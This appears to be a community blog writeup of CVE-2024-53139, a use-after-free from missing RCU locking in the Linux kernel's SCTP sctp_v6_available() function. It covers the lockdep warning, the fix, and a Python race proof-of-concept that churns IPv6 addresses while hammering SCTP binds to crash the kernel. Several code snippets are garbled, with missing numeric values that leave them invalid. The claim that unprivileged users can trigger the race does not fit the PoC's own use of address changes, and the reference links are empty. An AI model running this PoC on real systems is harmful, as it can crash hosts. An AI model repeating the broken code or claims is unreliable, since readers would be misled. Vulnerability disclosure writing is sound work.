A critical bug (CVE-2024-53139) was discovered and fixed in the Linux kernel related to the implementation of SCTP (Stream Control Transmission Protocol). This flaw could lead to a Use-After-Free (UAF) condition, specifically in the sctp_v6_available() function, caused by missing RCU (Read-Copy-Update) locking. In this post, we break down what happened, how it can be exploited, provide code samples, and point you to the main references.

What Is the Issue? (The Short Version)

The bug was in the sctp_v6_available() function in the Linux kernel. SCTP is a protocol like TCP/UDP, and it’s used for reliable messaging between endpoints. The function queried IPv6 addresses and network devices with functions that require RCU read locks — a technique for safely traversing kernel linked lists. But the required lock wasn't held, so if the list changed (like an address freed) during access, a UAF could happen. This means kernel memory could be read or written after being freed, possibly letting an attacker crash the system or escalate privileges.

How Was the Problem Detected?

Lock debugging tools in the kernel (CONFIG_PROVE_RCU_LIST=y) spat out suspicious warnings when SCTP code was exercised, like this one:

WARNING: suspicious RCU usage
net/core/dev.c:876 RCU-list traversed in non-reader section!!
...
stack backtrace:
 sctp_v6_available (net/sctp/ipv6.c:701)
 sctp_do_bind (net/sctp/socket.c:400)
 ...

In short, developers were traversing linked lists without telling the kernel to protect their accesses.

Why is RCU Needed?

When functions like dev_get_by_index_rcu() or ipv6_chk_addr() are used, they require an RCU read lock to safely scan kernel lists. Without it, a list could change while you're reading from it, leading to wild memory accesses (UAF). Not holding the lock can open up for memory corruption or privilege escalation if an attacker times things right.

Here is a rough version of what the problematic function looked like before the fix

// net/sctp/ipv6.c
// Pseudo-buggy code for illustration
int sctp_v6_available(void) {
    struct net_device *dev;
    // ... (snip)
    dev = dev_get_by_index_rcu(net, idx);
    if (!dev)
        return ;
    addr = ipv6_chk_addr(net, &addr6, dev, );
    // ...use addr...
}

The kernel traverses the network device list (a shared resource) with no RCU protection!

Here’s a snippet from the actual kernel warning (lockdep)

RCU-list traversed in non-reader section!!
 dev_get_by_index_rcu (net/core/dev.c:876)
 sctp_v6_available (net/sctp/ipv6.c:701)

How Was It Fixed?

The fix was to wrap the body of sctp_v6_available() in a proper RCU read section and to use the RCU-safe list traversal:

#include <linux/rcupdate.h>

int sctp_v6_available(void)
{
    int ret = ;
    struct net_device *dev;

    rcu_read_lock(); /* Start of RCU section */

    dev = dev_get_by_index_rcu(net, idx);
    if (dev) {
        addr = ipv6_chk_addr(net, &addr6, dev, );
        if (addr)
            ret = 1;
    }

    rcu_read_unlock(); /* End of RCU section */
    return ret;
}

This ensures no devices or addresses will be removed from memory while the function runs.

Reference for the patch:
- Upstream kernel commit (or search for *'sctp: fix possible UAF in sctp_v6_available'* on the Linux kernel Git)

Exploitability: What Could an Attacker Do?

The condition occurs if an attacker can race against the kernel running sctp_v6_available(), e.g., as an unprivileged user, rapidly adding and removing IPv6 addresses or network devices while triggering SCTP binds. If timed exactly right, this could lead to a Use-After-Free — meaning arbitrary memory could be accessed or written to. In some circumstances (and with kernel variants), that could be turned into a local privilege escalation or a denial-of-service (DoS) crash.

Below is a rough conceptual exploit (proof-of-concept in pseudocode, not weaponized)

# WARNING: DO NOT RUN ON PRODUCTION SYSTEMS
# This is *conceptual* only, not a ready exploit

import subprocess
import threading

def add_del_ipv6_addr():
    while True:
        subprocess.run(["ip", "addr", "add", "2001:db8::1/128", "dev", "lo"])
        subprocess.run(["ip", "addr", "del", "2001:db8::1/128", "dev", "lo"])

def trigger_sctp_bind():
    # Create many SCTP sockets and bind in a loop
    import socket
    import time
    for _ in range(10000):
        s = socket.socket(socket.AF_INET6, socket.SOCK_SEQPACKET, socket.IPPROTO_SCTP)
        try:
            s.bind(("2001:db8::1", ))
        except Exception:
            pass
        s.close()

# Run address churner in a thread
threading.Thread(target=add_del_ipv6_addr, daemon=True).start()
# In main thread, hammer SCTP binds
trigger_sctp_bind()

This code tries to "race" the kernel: if the vulnerability is present in your kernel, a crash (*or, with luck, something worse*) may result.

Original report:

- Lockdep warning
- Commit / patch:
- Upstream kernel patch

CVE record:

- CVE-2024-53139 at Mitre

General SCTP info:

- man 7 sctp

Who Is Impacted? What Should I Do?

All Linux distributions using an affected kernel version with SCTP support and IPv6 networking are at risk — especially when unprivileged userspace can trigger SCTP binds or if an attacker can manipulate IPv6 addresses on the host.

Conclusion

CVE-2024-53139 proved how subtle kernel locking issues can quickly become a security vulnerability. Always use RCU locks when required! Thanks to proactive kernel devs and detailed lock warnings, this flaw was fixed before it caused large-scale problems.

Please share this if you run or maintain Linux systems, especially servers!

*Exclusive writeup for the community — feel free to reach out if you have questions or need assistance reproducing or remediating this bug.*

Timeline

Published on: 12/04/2024 15:15:15 UTC
Last modified on: 12/19/2024 09:40:08 UTC